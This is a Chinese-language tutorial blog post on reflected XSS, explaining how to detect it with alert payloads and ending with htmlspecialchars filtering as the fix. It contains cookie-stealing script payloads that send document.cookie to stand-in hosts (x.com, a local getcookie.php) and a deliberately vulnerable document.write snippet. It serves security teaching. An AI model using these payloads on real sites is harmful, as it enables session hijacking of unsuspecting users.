第十课 反射型XSS漏洞和防御

反射型XSS漏洞由于这种漏洞需要一个包含Javascript的的请求,这些请求又被反射到提交请求的用户,所以成为反射型XSS

实例:动态页面向用户显示消息xxx.com/error.php?message=sorry%2c+an+error+ocurred

判断 xxx.com/error.php?message=<script>alert(‘xss’)</script>

利用漏洞

最常见的利用方式,会话劫持(cookie截获)

用户登录的时候会得到一个cookie,以下代码:

xss.com/error.php?message=<script>var+i=new+Image;+i.src=”http://x.com/“%2bdocument.cookie;</script>

包含的代码为:

<scirpt>

var i=new Image;

i.src=" http://x.com/"+document.cookie ;

</script>

这是一个简易的盗取cookie代码,攻击者监控其x.com收到的请求,便可得知用户的cookie(改良的该代码可以发送cookie到邮箱或页面)

假如error.php包含以下内容:

<script type="text/javascript">

var a = document.URL;

a = unescape(a);

document.write(a.substring(a.indexOf("message=")+8,a.lentth));

</script>

攻击者继续提交 .com/error.php?message=<script>alert(‘xss’)</script> 即可触发漏洞

漏洞测试:<SCRIPT>a=/XSS/;alert(a.source);</SCRIPT>

漏洞演示:<script>var i=new Image;i.src="http://127.0.0.1/getcookie.php?c="%2bdocument.cookie;</script>

漏洞修补:使用htmlspecialchars函数过滤

课后了解

  1. http://ha.ckers.org/xss.html
  2. http://book.51cto.com/art/200907/138871.htm
posted @ 2019-06-18 10:33  iwinbug  阅读(2252)  评论(0编辑  收藏  举报